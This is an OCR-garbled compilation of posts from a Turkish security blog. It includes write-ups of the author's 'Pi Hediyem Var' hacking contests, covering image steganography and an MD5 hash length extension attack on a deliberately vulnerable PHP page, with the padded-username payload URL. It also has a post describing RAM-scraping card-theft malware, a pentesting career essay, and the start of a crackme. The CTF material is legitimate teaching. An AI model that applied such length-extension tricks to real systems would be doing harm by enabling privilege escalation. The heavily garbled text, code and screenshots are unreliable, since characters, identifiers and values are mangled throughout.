B Analysis (Hon-cverlapping groups)

Bercentage in red: 0.4B1Z1

2pproximate length (in bytes) from red: B53.11884
Bercentage in green: 0.48121

ipprowimate length (in bytes) from green: 853.11884
EBercentage in blue: 0.48121

2pproximate length (in bytes) from blue: B53.11884

RS Analysis (Overlapping groups) The last analysis results

Bercentage in red: 0.7102%

m

from red: 1233.40146

Approwimate lengsh (in bytes) from gresn: 1233 45146
Bercentage in blue: 0.71022
ipprowimate length (in bytes) from blue: 1233 4C146

Zverage across all groups/colours: 0.60071 | 4
Zverage approximate length across all groups/colours: 104330565

Stegsolve araci ile Red, Green ve Blue Bitplane degerleri icin sifir1 sectigimizde karsimiza sayisal goriintii kodlama bi¢imi olan JPEG
baslik bilgisi ¢ikiyordu. JPEG dosyasinin baslangi¢ (0XFFD8) ve bitis degeri (0xFFD9) arasindaki veriyi kopyalayip calistirdigimizda
ise Einstein'in resmine gizlenmis bir deli resmi ortaya ¢ikiyor ve oyunu basarryla tamamlamis oluyorduk :)
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http://www.ws.binghamton.edu/fridrich/Research/steganalysis01.pdf
http://www.garykessler.net/library/steganography.html
http://www.caesum.com/handbook/stego.htm
http://en.wikipedia.org/wiki/Bit_plane
http://tr.wikipedia.org/wiki/JPEG
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Reay Cursor: 00000044 Caret: 00000004 Sel: 00000004 OVR MOD READ

73



(H) Hex Workshop - [C:\Users\Mert\Desktop\stega\deli-ext,jpg] = =
File Edit Disk Options Tools Plug-lns Window Help - |5 =%
=l = 0 E i R = @B R Qe
ks N s & Legacy ASCII v
= z = = = = = - x = 12345678 0AR Data Inspector Lo~ x
0 ik 2 3 2 =) € 2 B 12345678928
Diata at offset (DOO0D102:
s 52 28 05 F F8 P..R(.02[... ~
= E3 B8F F8 3 | comnmmasnntio 2 intg 15 ~
g 00 7E 3F 1 FF  ....~2...... . 13
& FF F0O 3F F: 3F | sy B B . -2033
i E0 70 07 I=vCQ: | merapresns uintlé 63503
FF 81 c7 E 3F |acocnn-- 8.~2 ints2 23525051
FC 01 F8 ot e —— 8 L T
ic 7F F8 FC 80: 00, | sremeEs ~B... miod R 1000
00 OF CO FC BL Q7 |evvvcccnnnnn uinibd:  1M07BA6S0.. 9
FF FE 00 00 O | cmswempsmagmmmen e .
tes F1. e EC 28 - - 8 Expression Calc g o~ x
B sa R mn 50 3F % Signed v | |32bit v
E3 80 00 FF D= | e R
EO 00 07 1F |0 Y o] 0o [ R ——
03 FO 07 1c BE Sk | seseraopersrmess 2
EQ0 7E 3F EO By 00, | Ssopmsepuagonng W
deli-exd jpg Eval | |
b | | |
+ | 1instances of 'FFDY' found in C\Users\Mert\Desktopstega\deli-ext.jpg | i EREY x
* | Address B Length [@) Length [8)
00D0D100 2 02
E |%Compare fyuchecksum B8 Find | 4 Bookmarks [E]Output
Structure Viewer
Find All Complete. Cursor: 0000D11A  Caret: 0000D102 173678 bytes OVR MOD READ

(H) Hex Workshop - [C:\Users\Mert\Desktop\stega\deli-ext,jpg] = =
File Edit Disk Options Tools Plug-lns Window Help - | %
ESHSE AHER pads o ViR Rt @

2 B S h | & Legacy ASCII v
Data Inspector Lo~ x

o Data at offset 000000004
o ~
; intd -1 A
= uintd 255
= int16 -9985
= uintl6 55551

int32 -520103681
uint32 3774863615
intfid 5064878326892...
uintfd 5064878326892... |,
Expression Calc L oax
Z Signed v | | 32 bit W
0000 o
deli-extpg &) | |

o | | |
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Ready Cursor: 0000002B  Caret: 0000D102  Sel: -DDDODOFE OVR | MOD | READ

74



w

senersl  Securty | Detals

=
~ -
pELivi ADAM EDEMEM u ' _
AlamMi peLi enﬁ'*‘
Jol8 I ‘;’ My D ¢ | X
OYUNU BASARIYLA TAMAMLAYANLAR: Harun GULEC, Melih Burak Sar1, Ahmet Cihan
CEKILIS ve KAZANAN TALIHLI: Melih Burak Sari
File Edit Search View Encoding Language Settings Macre Run  Plugins Window 7
o= IR O 2| & & | O 1 (ER R E| (&Y

[= Cekilisod ]

Harun GULEq

Melih Burak Sari @

Ahmet Cihan

( BN Administrator: CAWINDOWS\system32\cmd.exe - python |£Iﬁj )

Microsoft Windows [Uersion 6.1.76811
Copyright (c> 288? Microsoft Corporation. All rights reserved.

m| »

G Uzsers™ >python

Python 2.7.9 (default, Dec 18 2814, 12:24:55> [MSC v.1588 32 hit (Intel>] on win
32

Type “help". “copyright", “credits" or "“license" for more information.

>>> from random import randint

>>> print randint{i.3>

2

ool

Basta kazanan talihli Melih Burak Sar1 olmak iizere oyunu basariyla ¢dzen, katilan, destekleyen, sponsor olan herkese tesekkiir eder,
yeni oyunlarda goriismek dilegiyle herkese giivenli giinler dilerim.

Pi Hediyem Var! #3

Source: https://www.mertsarica.com/pi-hediyem-var-3/
By M.S on May lst, 2015

Ikincisini gectigimiz ay diizenledigim Pi Hediyem Var hacking oyununun iigiinciisii ile karsmizda olmaktan dolay1 olduk¢a mutluyum!

BGA firmasinin sponsorlugunda gerceklesen {igiincli oyunumda, yine dnceki oyunlarda oldugu gibi oyunu basariyla tamamlayanlar
arasinda yapilacak bir cekilis ile 1 adet Raspberry Pi 2'yi bir {iniversite 6grencisine hediye edecegim.
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https://www.mertsarica.com/pi-hediyem-var-3/
https://www.mertsarica.com/pi-hediyem-var-3/
https://www.mertsarica.com/pi-hediyem-var-2/
http://www.bga.com.tr/
https://www.raspberrypi.org/products/raspberry-pi-2-model-b/

832- 52?4
Raspberry Pi 2 Medel B
Ve n st Ko

Sabirsizlananlar i¢in lafi uzatmadan, oyuna konu olan ve yanitini buldugunuz zaman soruyu da ¢6zmiis olacaginiz sorunuz geliyor;

Dahi ile deli arasinda ince bir ¢izgi oldugu soylenir.
Asagidaki resimde gordiigiiniiz bir dahi ise, yine bu resimde olan ama goremediginiz deli kimdir ?

Daha 6nce hediye kazanmamis olup ¢ekilise katilmak isteyenlerin, detayli ¢c6ziim yolunu iletisim formu tizerinden, ad1, soyadi, kendini
tanitan bir yazi, okudugu iiniversite ve boliim, varsa bilisim giivenligi {izerine yapmis oldugu ¢aligmalar1 ve Raspberry Pi ile giivenlik
iizerine yapmay1 diigiindligii caligmalar1 anlatan bir yazi ile birlikte,

4 Mayis 2015 saat 09:00'a kadar bana iletmeleri gerekmektedir.

Oyunun ¢dziim yolu ve kazanan talihli, ilerleyen giinlerde yine bu sayfa ve Twitter hesabim iizerinden duyurulacaktir.

24 saatte bir, Twitter hesabim iizerinden zorlananlar icin ipucu yayinlanacaktir.
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https://www.mertsarica.com/contact/
https://www.twitter.com/mertsarica
https://www.twitter.com/mertsarica

Simdiden giile giile ve giivenli giinlerde kullanmaniz dilegiyle :)

Pi Hediyem Vardi, Verdim, Gitti #2 :)

Source: https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-2/
By M.S on April 15th, 2015

Ve 3 Nisan 2015 tarihinde ikincisi diizenlenen Pi Hediyem Var hacking oyununun ¢6ziim yolu ile Raspberry Pi 2'yi kazanan talihli

karsinizda!

KAYNAK KODU:

" . (hash("nd5", $secret. $usernane)) ;
/lexit;

i f(isset($usernane) and isset($hash)){

/[l print "
" . $usernane;
/[l print "
" . $secret;

i f(hash("nd5", $secret. $usernane) == $hash) {
$pos = strpos($username, "adm n");

if ($pos !== false) {
print "Tebrikler $usernane , art#k en yiksek yetkiye sahipsin :)";
print "

Pi Hedi yemVar c¢ekili#ine kat#l mak i ¢i n bu ekran gor int istinti ve ¢6zimyol unu Mert SARICA il e payl a#abilirsin";

} else {
print "Merhaba $username , hala sefil kullan#c# yetkisine sahipsin :(";
print "

Raspberry Pi 2 cekili#ine kat#l abilnmek icin admin yetkisi ile giri# yapabil men |az#m";
print "
Referans: https://ww. nertsarica.coni pi - hedi yemvar-2/";

} else {
$usernane = 'misafir';

$loc = "Location: " . "https://ww. nertsarica.confctf/ctf2. php?" . "usernane=" . S$usernane .

header ( $l oc) ;
exit;

} else {
$usernane = 'misafir';

$loc = "Location: " . "https://ww. nertsarica.confctf/ctf2. php?" . "usernane=" . S$usernane .

header ( $l oc) ;
exit;

}

?>

COZUM:

https://www.mertsarica.com/ctf/ctf2.php sayfasinin kaynak koduna bakilarak Et tu, Brute?

" &hash=" . hash(

" &hash=" . hash(

(Sen de mi Briitiis) ciimlesinden bunun Sezar'a ait bir s6z oldugundan yola ¢ikarak gizlenmis mesajin Sezar'in Sifrelemesi ile

olusturuldugunu (ROT-3 kullanilmigtir) tahmin edebilirdiniz. C6zmek i¢in ise Google'dan faydalanabilirdiniz.
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https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-2/
https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-2/
https://www.mertsarica.com/pi-hediyem-var-2/
https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-2//"mailto:mert.sarica@gmail.com"
https://www.mertsarica.com/pi-hediyem-vardi-verdim-gitti-2//"https://www.mertsarica.com/pi-hediyem-var-2/"
https://www.mertsarica.com/ctf/ctf2.php
https://tr.wikipedia.org/wiki/Et_tu,_Brute%3F
https://tr.wikipedia.org/wiki/Et_tu,_Brute%3F
https://tr.wikipedia.org/wiki/J%C3%BCl_Sezar
https://tr.wikipedia.org/wiki/Sezar_%C5%9Fifrelemesi
https://www.google.com.tr/search?q=rot-3&oq=rot-3&aqs=chrome..69i57j69i59l3j69i60l2.623j0j8&sourceid=chrome&es_sm=122&ie=UTF-8#q=caesar+cipher+online

[ Hack 4 Career - Siber Giv: % ..,"" [ view-sourcehttps:/fwwn. %

&~ = C A B view-sourcehttpsy//www.mertsarica.com/ctf/ctf2. php?username=misafir&has @ 7¢| @ ﬁ o

uvenlik Blogu</title»

"Bu sitede, siber givenlik Uzerine yapilan bireysel c¢alismalar,
ktadir."/>

s/ fwww . mertsarica.com™ />

e" content="text/html; charset=UTF-8" />

Sen de mi Britis ?
Sezar Sifrelemesi (ROT-3)

6| </he

8|<!-- Et tu, Brute?

-] 1i(kdvk("pg5",$vhfuhw.$xvhugdph) == $kdvk){

10 $srv = vwusrv($xvhuqdph, “"dgplq");

11 1i ($srv !== idovh) {

12 sulgw "Wheulnohu $xvhugdph , duwin hg biinvhn bhwnlbh wdklsvlg :)";
13| -->

15| Merhaba misafir , hala sefil kullanici yetkisine sahipsin :(<br \»><br \>Raspberry Pi 2 ¢ekilisine
katilabilmek i¢in admin yetkisi ile giris yapabilmen lazim!<br ‘>Referans: <a
href="https://www.mertsarica.com/pi-hediyem-var-2/">https://www.mertsarica.com/pi-hediyem-var-2/</a>
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#01

Codes and Ciphers :: Caesar Cipher

A Caesar cipher is one of the simplest (and easiest cracked) encryption methods. Itis a Substitution
Cipher that involves replacing each letter of the secret message with a different letter of the alphabet
which is a fixed number of positions further in the alphabet.

EBecause each letter in the message has a direct translation to another letter, frequency analysis can be
used to decipher the message. For example, the letter E is the most commonly used letter in the English
language. Thus, if the most commaon letter in a secret message is K, itis likely that K represents E.
Additionally, common word endings such as ING, LY, and ES also give clues.

A brute-force approach of trying all 25 possible combinations would also work to decipher the message.

Example
In this example, each letter in the plaintext message has been shifted 3 letters down in the alphabet

Plamtext: This is a secret message
Ciphertext: wkiv Iv d vhfubw phvvdjh

Caesar Encoder / Decoder

Number of letters to shiftto theright: [ |
Plamtext Ciphertext
if(hash("md5", ssecret. Susername) == shash){ li(kdvk("pg5" . $vhfuhw. $xvhugdph) == skdvk){
U R S R e e R S
if ($pos == falze) { li ($srv '== idovh) {
print "Tebrikler Susername , artik en yiksek sulgw "Wheulnohu $xvhugdph , duwin hg
et i | |binvhn Bhunlbh vaklsvlg )" 2
B3 Add to Coogle
- -
-
o | »

Ortaya ¢ikan asagidaki PHP kodundan, Merkle-Damgéard hash fonksiyonunun MAC (mesaj dogrulama kodu) olarak kullanildiginin ve
bunun da hash uzunluk genisletme zafiyetine yol agtigini anlayabilirdiniz.

i f (hash("nd5", $secret. $usernane) == $hash) {
$pos = strpos($usernane, "adm n");
if ($pos !== false) {
print "Tebrikler $username , art#k en yuksek yetkiye sahipsin :)";

strpos fonksiyonu ile username parametresinde admin karakter dizisi (string) kullanildiginda, kullaniciya yonetici yetkisi (admin)
verildigi i¢in, hash uzunluk genisletme saldirisindan faydalanarak username parametresine admin karakter dizisini manuel olarak veya
hash_extender araci ile (deneme yanilma yontemi ile secret degiskeninin 11 hane oldugunu bulacaktiniz) ekleyebilir, yeni tiretilen hash
degerini de hash parametresi ile birlikte sunucuya gondererek basartyla admin yetkisine sahip olabilirdiniz.
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Hack 4 Career - Siber Gov: %

L C A B httpsy//www.mertsarica.com/ctf/ctf2 php?

Tebrikler misafir€p€padmin . artik en yitksek yetkiye sahipsin :)

Pi Hediyem Var gekilisine katilmak icin bu ekran gdriintiisiinii ve ¢éziim yolunu Mert SARICA ile paylasabilirsin

https://ww. nertsarica.com ctf/ctf2. php?user nanme=m safi r ¥80%90%00%00%00%00%00%00%00%00%H0%00%O0%D0YO0%H 0% 0O 00

OYUNU BASARIYLA TAMAMLAYANLAR: Halit Alptekin, Deniz Parlak, Mert Arisoy, Alper DOM, Melih Burak SARI, Mert
TASCI, Harun GULEC, Ali AGDENIZ, Selim YILDIZ, Ceylan BOZOGULLARINDAN, Ertugrul BASARANOGLU, Cihad OGE,
Kiirsat Oguzhan AKINCI (geg bildirim), Sipke Mellema

CEKILIS ve KAZANAN TALIHLI:
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= cekmshdl

1 Halit Alptekin

2 Mert Arisoy

Alper DOM

4 Melih Burak SARI
Mert TASCI
Harun GULEG
Selim YILDIZ
ceylan BOZOZULLARINDAN h
S Ertugrul BASARANOELU
10 cihaz OGE

-] @& N

[uv}

12 B Administrator: CAWINDOWS\system32\cmd.exe - python |£IE|$J

Microsoft Windows [Uersion 6.1.76811
Copyright (c> 2809 Microsoft Corporation. All rights reserved.

m| »

IC:sUzers™ >python
Python 2.7.2 {default. Jun 12 2011, 15:88:59> [MSC v.1588 32 hit <{Intel>] on win
32

Type “help"”,. “copyright", “credits" or "license" for more information.
>>> from random import randint
g)) print randint{l1.18>

>

Basta kazanan talihli Ceylan BOZOGULLARINDAN olmak iizere oyunu basariyla ¢ozen, katilan, destekleyen, sponsor olan herkese
tesekkiir eder, yeni oyunlarda goriigmek dilegiyle herkese giivenli glinler dilerim.

Pi Hediyem Var! #2

Source: https://www.mertsarica.com/pi-hediyem-var-2/
By M.S on April 3rd, 2015

13 Subat 2015 tarihinde diizenlemis oldugum Raspberry Pi hediyeli "Pi Hediyem Var" hacking oyununun olumlu geri bildirimler aldigini
gordiikten sonra Kadir ALTAN'm da dnerisi ile bu oyunu sponsorlarin destegi ile devam ettirme karar1 aldim. Bu karari aldiktan kisa
bir siire sonra, takim liderim Ahmet TASKESER ve BGA firmasi, hazirlayacagim yeni oyunlar i¢in Raspberry Pi hediye ederek beni
olduk¢a mutlu ettiler.
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832- 52?4
Raspberry Pi 2 Medel B
Ve n st Ko

Ben de zaman kaybetmeden yeni bir oyun hazirlayarak, bu oyunu basartyla tamamlayanlar arasinda yapilacak bir ¢ekilis ile 1 adet
Raspberry Pi 2'yi bir liniversite 6grencisine hediye etmek i¢in hemen kollar1 sivadim.

BGA sponsorlugunda gergeklesen bu oyunumun konusu kisaca su sekildedir;

https://www.mertsarica.com/ctf/ctf2.php adresinde yer alan web uygulamasi, sayfaya giren herkese misafir kullanicis1 adi altinda
(username=misafir) misafir yetkisi (guest) vermektedir. Misafir yetkisi ile birlikte ayrica kullaniciya hash fonksiyonu ile olusturulan bir
MAC (mesaj dogrulama kodu) degeri (hash) de atamakta ve bu sayede kullanicinin bu sayfaya erisim yetkisi olup olmadigini da arka
planda kontrol etmektedir. Bu oyunda amaciniz, admin yetkisi ile yonetici sayfasina ulagarak oyunu basartyla tamamlamaktir.

[ Hack 4 Career - Siber Gin: % |

€« C f B https://www.mertsarica.com/ctf/ctf2 php?username= @ 9%
[
Tebrikler ' . artik en yiiksek yetkiye sahipsin @)

| Pi Hediyem Var gekilisine katilmak icin bu ekran gdriintiisiini ve ¢dziim yolunu Mert SARICA ile paylasabilirsin

Daha once hediye kazanmamis olup, ¢ekilise katilmak isteyenler, ¢6ziim yolunu iletisim formu {izerinden, adi, soyadi, kendini tanitan
bir yazi, okudugu tiniversite ve boliim, varsa bilisim gilivenligi iizerine yapmis oldugu ¢alismalar1 ve Raspberry Pi ile giivenlik {izerine
yapmay1 diisiindiigii caligmalari anlatan bir yazi ile birlikte,

6 Nisan 2015 saat 09:00'a kadar bana iletmeleri yeterli olacaktir.

Oyunun ¢dziim yolu ve kazanan talihli, ilerleyen giinlerde yine bu sayfa ve Twitter hesabim tizerinden duyurulacaktir. Ayrica 24 saatte
bir, Twitter hesabim iizerinden zorlananlar igin ipucu yayilanacaktir.

Simdiden giile giile ve giivenli giinlerde kullanmaniz dilegiyle :)

RAM Casuslugu

Source: https://www.mertsarica.com/ram-casuslugu/
By M.S on April 1st, 2015

Yas1 yetenler, 2006 yilinda yasanan ve binlerce kredi kart1 kopyalanmas ile son bulan GIMA vakasini (#1, #2, #3, #4) hatirlayacaklardr.
O zamanlarda aligveris yaptiginiz zaman, kredi kartiniz1 uzattiginiz kasiyer, kredi kartinizi alarak POS da dahil olmak iizere magazanin
CRM sistemlerine bilgilerinizi (TRACK / isim, kart no, son kullanma tarihi, cvv2) kayit etmek i¢in dniindeki kart okuyuculara kredi
kartinizi okutur ve ardindan size teslim ederdi. Giin gelip birileri kart okuyucunun bagl bulundugu sisteme zararli bir kod yerlestirip bu
bilgileri kétiiye kullanmak igin kayit altina almaya ve kullanmaya baslayinca, GIMA vakasi patlak verdi. Bu vaka aslinda Tiirkiye'de
kartl 6deme sistemleri i¢in bir milat oldu ¢iinkii bu vaka sonrasinda ¢ipli kartlarin kullanimi zorunlu hale gelerek TRACK bilgisinin
POS cihazlar1 disinda bagka cihazlara okutulmasinin 6niine gegildi. Hatta giiniimiizde bazi banka POS cihazlarinin yan tarafinda bulunan
kart okuyucusuna kredi kartinizi okutmaya (swipe) ¢alistiginiz zaman POS cihazinin "bu islem desteklenmemektedir" seklinde bir hata
mesaj1 ile sizi giivenli ddeme kanala (¢ip okuma) yonlendirdigini gorebilirsiniz. Ozetle giiniimiizde alisveris yaparken cipli kredi
kartiniz1 POS cihazina baglh olan kart okuyucuya okutursunuz, ardindan PIN bilgisini girerseniz ve ardindan bu bilgiler POS cihazina
gonderilip, islendikten sonra ilgili bankaya sifreli olarak gonderilmektedir. (Bu islem esnasinda kullanilan POS cihazini, donanimsal
saldirilara kars1 korunakli, kapali bir kutu gibi diisiinebilirsiniz.)
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Track bilgisinin dolandiricilar tarafindan papagan dedigimiz manyetik kart okuyucular ile rahatlikla okunabilecegini ve
kopyalanabilecegini asla unutmayin bu nedenle magazalarda veya restaurantlarda kredi kartinizi POS cihazina kendiniz

takmaya énem gésterin.

Bankacilik ve 6deme sistemleri olarak gerimizde olan ABD ve bazi iilkelerde durum ise biraz daha farklidir. Bu iilkelerde ¢ipli kartlar
yaygin olarak kullanilmadig: gibi kredi kartinin okutuldugu kart okuyucu ve bunun bagli bulundugu POS sistemi (bizdeki kapali kutu
POS cihazi, onlarda Windows tizerinde ¢alisan POS uygulamasi) ilgili magazanin kullandig sistemler (windows yiiklii bir PC) iizerinde
¢alismaktadir. Durum bodyle olunca da art niyetli kisiler tarafindan ele gegirilen bu sistemlere yiiklenen zararli yazilimlar ile miisterinin
kart okuyucusuna okuttugu TRACK bilgisi, sistemin bellegi (RAM) iizerinden galinabilmektedir. (ram scraping yontemi)

1.The attacker ! l ; |
remotely data is either

\

5.The recorded
compromises the manually retrieved
payment by the attacker oris
cmimnmm, automatically sent
exPln_l‘mg a toa destination
security deficiency pericdically via
FTF (file transfer E:
protocal) or email [=]
2.The attacker inatalls malware A‘__-
capable efrecording keystrokes, 3. User crodentials
inchiding credit card swipes and restrictad :ntiycl‘;ﬁ

cardholder data user activity

(trark) isrecorded r‘\ (\% with periodic
Ly the makware sereenshots
vas

=
= - EB

B

Bu yontemden kisaca bahsetmek gerekirse, zararli yazilimin yaptigi islem, RAM iizerinde POS uygulamasi tarafindan kullanilan alani
bulmak ardindan REGEX yardimui ile bu alanda kredi kartt numarasini aramaktir. Tabii bu REGEX'e gore 16 haneli numara aramak,
hatali sonuglar da (false positive) iiretebilecegi i¢in zararli yazilim gelistiricileri burada kredi karti numarasini dogrulamak i¢gin LUHN
algoritmasindan faydalanmaktadirlar.

Luhn algoritmasi, 1954 yilinda, IBM firmasinda ¢alisan Hans Peter Luhn tarafindan kredi karti numarasi, IMEI, Kanada sosyal
giivenlik numarast gibi numaralart dogrulamak amacuyla gelistirilmis olan bir formiildiir. Bu formiil sayesinde kredi karti bilgisi
girilmesi istenen formlarda girilen kartin dogrulugu (TCKN kontrolii gibi diistinebilirsiniz) teyit edilmektedir.

Pratikte art niyetli kisilerin bu yontemi kullanan bir ara¢ yazmalarinin ne kadar zor olabilecegini anlama adina Python ile RAM',
REGEX ve Luhn algoritmasina gore tarayan ve kredi karti numarasi arayan bir arag hazirlamaya karar verdim. WinAppDbg Python
modiilii sayesinde yarim saat i¢inde CC Scanner adinda basit bir arag gelistirebildim. (Kaynak kodunu koétiiye kullanilmamasi adina
paylasmiyorum.) Aract test etmek icin PasteBin sitesinden buldugum 6rnek bir kart numarasini Google'da arattim ardindan CC Scanner
aracinin bu kart numarasint RAM iizerinden tespit edip edemeyecegini kontrol ettigimde basariyla tespit edebildigini gérdiim ve gorev
basariyla tamamlanmis oldu.

3 - - [olx]|

C:\WINDOWS\system32\cmad. axs - python cc_scanmer.py _Jo]x
y . . . i 1 I con
Qe - x] (2] €| O sewch Favortes {7 -l @M RS

£] http: [jvwwsgooge_com tr] v Eso

Arama Gorseller Play YouTube Haberler Gmail Drive Takvim Daha fazlasi v

Google'da Ara | Kendimi $Sansh Hissediyorum

Googlela Reklam Firsatlar Igletme Cozomier Google Hakkinda Google.com

£] bone @ Internet
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Umarim bu yazi ile bana sik¢a sorulan "RAM'den kart bilgisi ¢alan zararli yazilimlari iilkemizde etkili mi?" , "Biz neden/nasil oluyor
da etkilenmiyoruz ?", "art niyetli kisilerin kullandiklar1 yontem nedir ?" , "bu yontemi kullanmak zor mu yoksa kolay m1?" sorularina
yanit verebilmisimdir.

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Sizma Testi Uzmanhgi ve Kariyer

Source: https://www.mertsarica.com/sizma-testi-uzmanligi-ve-kariyer/
By M.S on March 9th, 2015

Yillardan beri, siradist bir meslek olan sizma testi uzmanligi (ethical hacker / penetration tester) ile ilgili ¢ok sayida e-posta aliyorum.
E-postalarin ¢gogunda da, sizma testi uzmani olmak istiyorum, nereden ve nasil baglamaliyim sorusunun soruldugunu goriiyorum. Her
birine itinayla cevap yazarken ¢ogu mesajimda, 2011 yilinda yazdigim "Nasil Ahlakli Korsan Olunur?" baglikli yazimi da okumalarini
tavsiye ediyorum. Bir sizma testi uzmani olarak bu yazi ile son yillarda oldukga popiiler ve ¢ekici olan bu meslekte kariyer yapmanin
biraz da zorluklarina deginmek istiyorum.

Bu alanda kariyer yapmanim aslinda iilkemizde diger meslek dallarina gére biraz daha zor oldugunu sdyleyebilirim. Ornegin tip
fakiiltesinden mezun olsaydiniz, uzmanlik egitimi i¢in Tipta Uzmanlik Sinavi'na (kisaca TUS) girdikten sonra belli bir brans {izerine
kariyer yapabilir ve bu bransa 6zel is ilanlarina bagvurabilirdiniz. Ancak mevzu sizma testi uzmanligi olunca isler bu kadar kolay
olmuyor.

Kolay olmuyor ¢iinki lilkemizdeki is ilanlarina bakacak olursaniz hala sizma testi uzmanliginin, on goérevi olan bir giivenlik uzmaninin
on birinci gorevi olabilecegine inanan firmalar oldugunu gorebilirsiniz. Halbuki diger iilkere bakarsaniz, sizma testi uzmanliginin kendi
icinde bile ayr1 uzmanlik dallarina (6rnek: web application penetration tester, network penetration tester) ayrildigini ve bu spesifik
alanlarda uzmanlarin arandigini (#1, #2, #3) gorebilirsiniz.

Tabii ayni anda hem giivenlik cihazi yoneten (yogun bir sekilde operasyon yapanlar), hem PCI denetimi yapan hem de giivenlik politika
ve prosediirii hazirlayan bir kisinin sizma testi uzmani olabilecegine inanan, yillarca g¢alisanlarina yatirim yapmak yerine giivenlik
cihazlarna, tirlinlere yatirim yapan kurumlar, giiniin sonunda ciddi bir sorun yasadiklari zaman dogru yolu (uzmanlagma) agir bedeller
odeyerek buluyorlar. Halbuki onlardan 5-10 yil 6nde olan diger iilkelere ve kurumlara bakacak olsalar, yillar sonra baglarina neler
gelebilecegini, ne tiir uzmanliklara ihtiya¢ duyacaklarini, nelere ve nerelere yatirim yapmalar1 gerekecegini az ¢ok gorebilirler. (Vizyon)

Ozellikle tek kisilik dev giivenlik uzman kadrosu arayan kurumlarm is ilanlarim1 gordiigiimde cogu zaman iiziilerek tebessiim ediyorum.
Bu ilanlari, bir hastanenin on farkli alanda, on farkli uzman doktor (ortopedist, kardiyolog vb.) aramak yerine tek bir pratisyen hekim
aramasina ve ¢alistirmasina benzetiyorum. Olur mu, olur ama giiniin sonunda saglik sorunu yagayanlarin, daha dogru teshis ve tedavi
adina pratisyen hekimler yerine uzman doktorlara kontrole gittiklerini biliyoruz. (Specialist vs Generalist)

Tabii bu durumun biraz da, sizma testinin sadece araglarla yapildiginin, bilgi ve birikimin ¢ok da énemli olmadiginin diistiniilmesinden
kaynaklandigini diisiiniiyorum. Halbuki bu alanda uzmanlasmak pek o kadar kolay olmuyor. Sadece araglarla bu isi yapan da kendine
sizma testi uzmani diyor, yillardir bu alanda arastirma yapan, okuyan ve kendini gelistiren bir kisi de diyor. Eger iyi ara¢ kullanan o isin
uzmani olabilseydi bugiin direksiyon basina gecip iyi araba kullanan herkesin Michael Schumacher olmasi gerekirdi. Veya sadece bir
isi icra etmek, kisiyi o isin uzmani yapabilseydi, sarki sdyleyen Ajdar ile Sezen Aksu arasinda fark olmazdi.

Sizma testi uzmani olmak i¢in bol bol okumak (2000'li yillarin bagindan bu yana kadar 60 tane teknik kitap okumusum), bol bol pratik
yapmak ve her daim bilgileri giincel tutmak gerekiyor. Misal bir 6nceki y1lin web uygulama zafiyetleri ile bir sonraki yilin zafiyetleri ayni
olmayabiliyor dolayisiyla zafiyetlere yol agan kdk sorunlari anlamak, tespit ve ¢ozlim konusunda 6nemli bir rol oynuyor. Ayrica degisen
teknolojileri yakindan takip etmek ve hizlica adapte olmak gerekiyor. 4-5 y1l 6ncesine kadar mobil uygulama sizma testlerine ihtiyag
duyulmazken, bugiin en az web uygulama sizma testleri kadar ihtiya¢ duyuluyor. Bu gelisim siirecinde, igverenin size 6zellikle egitimler
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konusunda yatirrm yapmasinin olduk¢a énemli oldugunu sdyleyebilirim. Ornegin bugiin SANS firmasindan online (on demand) bir
egitim almak istediginizde egitim {icretlerinin 4000$ - 5000$ arasinda oldugunu gorebilirsiniz.

Evet, artik cogu kurum sizma testi uzmani artyor ama kolay kolay bulamiyor. Neden ¢iinkiil sizma testi uzmanlar1 ne yazik ki dalda
yetismiyorlar ve kendilerini yetistirmeleri hi¢ de kolay olmuyor. Vizyoner kurumlarda ¢alisan sizma testi uzmanlarinin ise degerleri
bilindigi ve kendilerine gerekli yatirimlar yapildig1 igin kolay kolay is degistirmiyorlar. Uzman yetistirmeyen, ¢alisanina yatirim
yapmayan, maas konusunda da siradan bir ¢alisan ile ayn1 maasa sizma testi uzmani arayan firmalarin is ilanlarinin, 6 ay ila 1 sene
boyunca acik kaldigini gorebiliyoruz. Kimi zaman 6 ay iginde, ne aradigini bilmeyen 4-5 farkli insan kaynaklar1 danigmanligi firmasindan
ayn1 pozisyon i¢in birkag¢ defa arandiginiz bile olabiliyor.

Diisiincelerimin sizleri karamsarliga siiriiklemesini istemem. Siber giivenlik ve sizma testi uzmanligina artik iilkemizde ¢ok daha fazla
onem veriliyor. Eskiden kurumunda sizma testi uzmani bulundurmayanlar, bugiin 5 kisilik sizma testi ekipleri olusturuyorlar. Talebin
artt1g1 bu yillarda, bu alanda iyi bir kariyer yapmak isteyen adaylara, tek kisilik dev kadro (nicelik) olmak yerine uzmanlagmaya (nitelik)
onem veren, vizyoner kurumlari tercih etmelerini tavsiye edebilirim. Ne de olsa yillar icinde gidecegimiz nokta Amerika ve Avrupa'dan
(uzmanliga 6nem veren iilkeler) farkli olmayacak ve uzmanlik daha da kiymetli olacaktir.

Unutmayin, sizma testi uzmanligi ag¢ilik gibidir. Giiniin sonunda elinizde onlarca malzeme (araclar, istismar kodlari, zafiyetler vs.) olur
ve bunlardan ortaya gercekten lezzetli bir yemek ¢ikarmaniz beklenir. Lezzetli yemekler ortaya ¢ikarmak icin ise hem tarifleri (bilgi)
iyi bilmeniz hem de kivamui (beceri) iyi tutturmaniz gerekir ve bu da yillarinizi alir.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Pi Hediyem Vardi, Verdim, Gitti :)

Source: https://www.mertsarica.com/pi-hediyem-vardi/
By M.S on March 3rd, 2015

Takip edenleriniz, 13 Subat 2015 tarihinde parola bulma oyunu ile {iniversite dgrencisi olan iki takip¢ime, Raspberry Pi (B Model)
hediye etme karar1 aldigimi1 hatirlayacaklardir. Bu yazida hem talihli iki takip¢imi hem de oyunun ¢6ziimiinii agiklayacagim.
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P S | & S - L= | b |Debug | |win3z N
iDRbha|EE|Z2 08033856

Solution Explarer Ml hackdcaresr.c X

= | e | [=] (Global Scope;)
2 Solution ‘Hacks4Career' (1 pi —lint main()
= 71 Hack4Career {
#- (g External Dependen int a = 8x3838;
[ Header Files int b = 8x7171;
[ Resource Files int girdi;
= [ Source Files int parcla = (a ~ b );
€+ hackdcareer.c system("cls");
printf(" \n");
printf("Hack 4 Career - Crackme\n");
printf(” \n™);
printf(“Parola ?: ");

ALIING JUSLNI0g :

scanf("#d", &girdi);
if(girdi==parcla) {

